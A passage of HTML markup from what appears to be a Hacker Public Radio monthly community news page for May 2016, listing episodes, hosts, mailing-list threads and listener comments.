align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2021\" target=\"_blank\">2021</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-05-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2021\" target=\"_blank\">HPR Community News for April 2016</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2022\" target=\"_blank\">2022</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-05-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2022\" target=\"_blank\">Whats in my bag</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=330\" target=\"_blank\">Bitbox</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2023\" target=\"_blank\">2023</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-05-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2023\" target=\"_blank\">Setting up my Raspberry Pi 3</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2024\" target=\"_blank\">2024</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-05-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2024\" target=\"_blank\">Remapping Keys with xmodmap</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2025\" target=\"_blank\">2025</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-05-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2025\" target=\"_blank\">Using a Smarphone as a microphone</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=331\" target=\"_blank\">njulian</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2026\" target=\"_blank\">2026</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-05-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2026\" target=\"_blank\">What\'s in my Bag... Again!</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2027\" target=\"_blank\">2027</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-05-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2027\" target=\"_blank\">Old Engineers and New Engineers</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2028\" target=\"_blank\">2028</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-05-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2028\" target=\"_blank\">Some basic info on alarm systems</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=332\" target=\"_blank\">schism</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2029\" target=\"_blank\">2029</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-05-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2029\" target=\"_blank\">The DSO138 Oscilloscope Kit</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2030\" target=\"_blank\">2030</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-05-13</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2030\" target=\"_blank\">Book Review: The Pocket Ref</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2031\" target=\"_blank\">2031</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-05-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2031\" target=\"_blank\">A quick intro to OBD2 with Android</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=333\" target=\"_blank\">pope523</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2032\" target=\"_blank\">2032</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-05-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2032\" target=\"_blank\">How I Came to Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\" target=\"_blank\">Steve Saner</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2033\" target=\"_blank\">2033</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-05-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2033\" target=\"_blank\">Distro Review: Bodhi Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2034\" target=\"_blank\">2034</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-05-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2034\" target=\"_blank\">Frank\'s Five Seed Bread</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2035\" target=\"_blank\">2035</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-05-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2035\" target=\"_blank\">Building Community</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2036\" target=\"_blank\">2036</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-05-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2036\" target=\"_blank\">Glasgow Podcrawl 2016</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2037\" target=\"_blank\">2037</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-05-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2037\" target=\"_blank\">Alpha32\'s Pinhead Oats</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2038\" target=\"_blank\">2038</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-05-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2038\" target=\"_blank\">Attempting to fix a plastic boat</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2039\" target=\"_blank\">2039</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-05-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2039\" target=\"_blank\">Blather Configuration Part 0: Initial Setup</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2040\" target=\"_blank\">2040</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-05-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2040\" target=\"_blank\">Why I Use Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=335\" target=\"_blank\">matthew</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2041\" target=\"_blank\">2041</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-05-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2041\" target=\"_blank\">Router Antennas More = better ?</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=336\" target=\"_blank\">Lyle Lastinger</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2042\" target=\"_blank\">2042</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-05-31</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2042\" target=\"_blank\">My podcast list</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=116\" target=\"_blank\">janedoc</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-04-05 20:20:08 +0200<br/>\n        <em>Subject:</em> Call for shows<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1160\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1160</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-05-07 17:17:26 +0200<br/>\n        <em>Subject:</em> HPR Policy Change - HTML default in RSS Feed<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1197\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1197</a><br/>\n        <em>Messages:</em> 24<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-05-08 11:30:50 +0200<br/>\n        <em>Subject:</em> HPR On Goggle Play<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1205\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1205</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Mike Ray &lt;mike@...&gt;<br/>\n        <em>Date:</em> 2016-05-10 08:41:34 +0100<br/>\n        <em>Subject:</em> Libre Office Calc - closing the docked styles dialog with the keyboard<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1206\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1206</a><br/>\n        <em>Messages:</em> 4<br/><br/></li>\n    <li><em>From:</em> Venant &lt;venant@...&gt;<br/>\n        <em>Date:</em> 2016-05-10 23:07:52 -0400<br/>\n        <em>Subject:</em> Re: Libre Office Calc - closing the docked styles dialog with	the keyboard<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1217\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1217</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-05-24 14:20:42 +0200<br/>\n        <em>Subject:</em> HPR Short listed for the The People&#39;s Choice Podcast Awards<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1228\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1228</a><br/>\n        <em>Messages:</em> 6<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-05-25 15:56:03 +0200<br/>\n        <em>Subject:</em> Fwd: Ohio LinuxFest 2016 Call for Presentations<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1232\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1232</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-05-28 09:35:37 +0200<br/>\n        <em>Subject:</em> Site Changes to fix Navigation<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1235\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1235</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2016-05-30 09:48:04 +0100<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2016-06-04T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1238\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1238</a><br/>\n        <em>Messages:</em> 1<br/></li>\n</ol>\nTotal messages this month: 42<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.</p>\n<p>There are 57 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1580#comments\" target=\"_blank\">hpr1580</a></strong>\n(2014-08-22) \"<em>The FAT and NTFS File Systems</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1580#1\" target=\"_blank\">Comment 1</a>:\nRamiro on 2016-05-05:\n\"FAT, FAT32\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1580#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-05-06:\n\"Title change\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1580#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2016-05-08:\n\"Done\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1967#comments\" target=\"_blank\">hpr1967</a></strong>\n(2016-02-16) \"<em>How I saw the Linux Light at the end of the Windows tunnel</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1967#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2016-05-15:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1976#comments\" target=\"_blank\">hpr1976</a></strong>\n(2016-02-29) \"<em>Introduction to sed - part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1976#3\" target=\"_blank\">Comment 3</a>:\nFrank on 2016-05-26:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1976#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2016-05-26:\n\"Good luck with regex\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2007#comments\" target=\"_blank\">hpr2007</a></strong>\n(2016-04-12) \"<em>My new laptop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2007#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2016-05-02:\n\"Thanks\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2008#comments\" target=\"_blank\">hpr2008</a></strong>\n(2016-04-13) \"<em>HPR needs shows to survive.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2008#4\" target=\"_blank\">Comment 4</a>:\nFrank on 2016-05-01:\n\"I don&#39;t quite get it\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2008#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2016-05-02:\n\"Because it was\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2009#comments\" target=\"_blank\">hpr2009</a></strong>\n(2016-04-14) \"<em>Understanding the GNU/Screen Hardstatus line</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\" target=\"_blank\">Curtis Adkins (CPrompt^)</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2009#2\" target=\"_blank\">Comment 2</a>:\nEric Suess on 2016-05-03:\n\"Thank you.\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2010#comments\" target=\"_blank\">hpr2010</a></strong>\n(2016-04-15) \"<em>Parsing JSON with Python</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2010#3\" target=\"_blank\">Comment 3</a>:\nrstackhouse on 2016-05-24:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hobbypublicradio.com/eps.php?id=2015#comments\" target=\"_blank\">hpr2015</a></strong>\n(2016-04-22) \"<em>Linux in the Church</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=328\" target=\"_blank\">Joe</a>.\n<ul>  <li><a href=\"https://hobbypublicradio.com/eps.php?id=2015#3\" target=\"_blank\">Comment 3</a>:\nTodd on 2016-05-11:\n\"Great show!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2016#comments\" target=\"_blank\">hpr2016</a></strong>\n(2016-04-25) \"<em>Echoprint</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=257\" target=\"_blank\">laindir</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2016#2\" target=\"_blank\">Comment 2</a>:\nlaindir on 2016-05-23:\n\"Late\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2019#comments\" target=\"_blank\">hpr2019</a></strong>\n(2016-04-28) \"<em>a pi project and an owncloud project</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=255\" target=\"_blank\">Matt McGraw (g33kdad)</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2019#3\" target=\"_blank\">Comment 3</a>:\nMatt (g33kdad) on 2016-05-07:\n\"Thanks, John\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2020#comments\" target=\"_blank\">hpr2020</a></strong>\n(2016-04-29) \"<em>Automotive Billing</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2020#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp  on 2016-04-30:\n\"Awesome! \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2020#3\" target=\"_blank\">Comment 3</a>:\nJimZat on 2016-05-02:\n\"Honest Auto Mechanics\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2020#4\" target=\"_blank\">Comment 4</a>:\nmysterio2 on 2016-05-05:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2020#5\" target=\"_blank\">Comment 5</a>:\nTodd on 2016-05-25:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2021#comments\" target=\"_blank\">hpr2021</a></strong>\n(2016-05-02) \"<em>HPR Community News for April 2016</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2021#1\" target=\"_blank\">Comment 1</a>:\nMatt (g33kdad) on 2016-05-09:\n\"Thanks!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2021#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-05-11:\n\"Great!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2022#comments\" target=\"_blank\">hpr2022</a></strong>\n(2016-05-03) \"<em>Whats in my bag</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=330\" target=\"_blank\">Bitbox</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2022#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2016-05-03:\n\"What&#39;s in your cab?\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2022#2\" target=\"_blank\">Comment 2</a>:\nJWP on 2016-05-04:\n\"Great Podcast\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2022#3\" target=\"_blank\">Comment 3</a>:\nChristopher M. Hobbs on 2016-05-07:\n\"Tell us about truckin&#39;!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2023#comments\" target=\"_blank\">hpr2023</a></strong>\n(2016-05-04) \"<em>Setting up my Raspberry Pi 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2023#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2016-05-04:\n\"Pi3 in a Metal Box\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2023#2\" target=\"_blank\">Comment 2</a>:\nJWP on 2016-05-04:\n\"GNU Nano Editor\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2023#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2016-05-04:\n\"Faraday cage, Pibow and Nano\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2023#4\" target=\"_blank\">Comment 4</a>:\nMike Ray on 2016-05-07:\n\"Metal boxes and Emacs\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2023#5\" target=\"_blank\">Comment 5</a>:\nBeeza on 2016-05-16:\n\"Alternative Pi Server Setup\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2023#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2016-05-16:\n\"SSHFS; SSD\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2024#comments\" target=\"_blank\">hpr2024</a></strong>\n(2016-05-05) \"<em>Remapping Keys with xmodmap</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2024#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2016-05-05:\n\"Interesting approach\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2024#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-05-30:\n\"Nice idea\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hobbypublicradio.org/eps.php?id=2027#comments\" target=\"_blank\">hpr2027</a></strong>\n(2016-05-10) \"<em>Old Engineers and New Engineers</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a>.\n<ul>  <li><a href=\"https://hobbypublicradio.org/eps.php?id=2027#1\" target=\"_blank\">Comment 1</a>:\nSteve Saner on 2016-05-10:\"[no title]\"</li>  <li><a href=\"https://hobbypublicradio.org/eps.php?id=2027#2\" target=\"_blank\">Comment 2</a>:\nGabriel Evenfire on 2016-05-13:\n\"Glad you liked it\"</li>  <li><a href=\"https://hobbypublicradio.org/eps.php?id=2027#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2016-05-30:\n\"A most interesting show\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2028#comments\" target=\"_blank\">hpr2028</a></strong>\n(2016-05-11) \"<em>Some basic info on alarm systems</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=332\" target=\"_blank\">schism</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2028#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-05-13:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2028#2\" target=\"_blank\">Comment 2</a>:\nBill on 2016-05-23:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2028#3\" target=\"_blank\">Comment 3</a>:\nFrank on 2016-05-24:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2028#4\" target=\"_blank\">Comment 4</a>:\nTodd on 2016-05-25:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2028#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2016-05-30:\n\"Interesting subject\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2029#comments\" target=\"_blank\">hpr2029</a></strong>\n(2016-05-12) \"<em>The DSO138 Oscilloscope Kit</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2029#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2016-05-30:\n\"Was tempted to get one\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=2030#comments\" target=\"_blank\">hpr2030</a></strong>\n(2016-05-13) \"<em>Book Review: The Pocket Ref</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.\n<ul>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2030#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-05-13:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2032#comments\" target=\"_blank\">hpr2032</a></strong>\n(2016-05-17) \"<em>How I Came to Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\" target=\"_blank\">Steve Saner</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2032#1\" target=\"_blank\">Comment 1</a>:\nPeri Saner on 2016-05-17:\n\"Wife\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2032#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 